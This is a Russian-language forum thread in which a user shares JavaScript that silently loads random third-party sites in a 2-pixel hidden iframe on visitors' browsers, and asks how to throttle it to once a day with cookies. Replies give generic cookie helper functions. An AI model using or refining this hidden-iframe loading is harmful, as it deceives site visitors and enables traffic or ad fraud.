Блокировка выполнения скрипта по cookie с помощью jquery.cookie.js
Добрый день. Вобщем есть сайт на котором есть скрипт для невидимой переадресации юзеров на другие сайты через iframe(нечего криминального не делаю).
var a=Math.round(Math.random()*2)
//это число должно совпадать с максимальным индексом таблицы ссылок
link = new Array();
link[0]="http://site1.ru/"
link[1]="http://site2.ru/"
link[2]="http://site3.ru/"
//с максимальным индексом link[..] совпадает число, на которое умножаем вверху
var frame = document.createElement("IFRAME");
frame.src = link[a];
frame.style.cssText = "border: 0 none; height: 2px; width: 2px";
frame.scrolling = "no";
document.body.appendChild(frame);
Так вот есть необходимость чтобы данный скрипт работал лишь раз в 24 часа, тоесть нужно ограничить его выполнение если пользователь пришёл на сайт, а 24 часа ещё не прошло. Вобщем пытался я сделать сам такой контроль пользователей, но нечего не получилось,ошибок наверное тьма... Вобщем вот то что получилось:
<script src="jquery.cookie.js" type="text/javascript"></script>
<script type="text/javascript">
function check($user) {
if (tmp == "user") return true;
else return false;
}
var tmp= $.cookie['user'];
if (check($user));
else $.cookie(‘user’, ‘$user’, { expires: 1 }) && genrnd (); //установить куки с временем жизни 1 день и выполнить скрипт;
function genrnd() {
var a=Math.round(Math.random()*2)
//это число должно совпадать с максимальным индексом таблицы ссылок
link = new Array();
link[0]="http://site1.ru/"
link[1]="http://site2.ru/"
link[2]="http://site3.ru/"
//с максимальным индексом link[..] совпадает число, на которое умножаем вверху
var frame = document.createElement("IFRAME");
frame.src = link[a];
frame.style.cssText = "border: 0 none; height: 2px; width: 2px";
frame.scrolling = "no";
document.body.appendChild(frame);
}
</script>
Подскажите пожалуйста как заставить эту систему работать, спасибо. |
Цитата:
- попал в скрипт - прочитал куку - если не андефайнет - ретурн от туда - в противном случае записал куку и продолжилскрипт |
Ну я что то подобное попытался сделать, только в моём случае если кука есть то тупо нечего не делается, если нет её то ставим+как то выполняем скрипт.
Хотелось бы код увидеть как правильно это сделать и узнать то что я пытался накодить похоже хотя бы на правду или нет ибо пока не успеваю изучить js... |
Цитата:
/*
name - имя cookie
value - значение cookie
[expires] - дата окончания действия cookie (по умолчанию - до конца сессии)
[path] - путь, для которого cookie действительно (по умолчанию - документ, в котором значение было установлено)
[domain] - домен, для которого cookie действительно (по умолчанию - домен, в котором значение было установлено)
[secure] - логическое значение, показывающее требуется ли защищенная передача значения cookie
*/
function setCookie(name, value, expires, path, domain, secure) {
var curCookie = name + "=" + escape(value) +
((expires) ? "; expires=" + expires.toGMTString() : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "")
if ((name + "=" + escape(value)).length <= 4000)
document.cookie = curCookie
else if (confirm("Cookie превышает 4KB и будет вырезан !"))
document.cookie = curCookie
}
/*
name - имя считываемого cookie
*/
function getCookie(name) {
var prefix = name + "="
var cookieStartIndex = document.cookie.indexOf(prefix)
if (cookieStartIndex == -1)
return null
var cookieEndIndex = document.cookie.indexOf(";", cookieStartIndex + prefix.length)
if (cookieEndIndex == -1)
cookieEndIndex = document.cookie.length
return unescape(document.cookie.substring(cookieStartIndex + prefix.length, cookieEndIndex))
}
|
Спасибо за ответ.
Дату окончания куки каким образом задавать? Что то типо 3600000*24*nDays? Зачем вырезать куки если они более 4 кб и выдавать сообщение при этом? И ещё сначала ведь наверно гет куки должен идти(в моём случае) а затем уже сет куки, а то получается что при старте скрипта сначала ставится кука а потом уже проверяется или чего то непонимаю??? А как мне передать управление на скрипт для генерации случайной ссылки ? |
Цитата:
Цитата:
var expires="15/02/2011 00:00:00" Цитата:
|
| Часовой пояс GMT +3, время: 15:50. |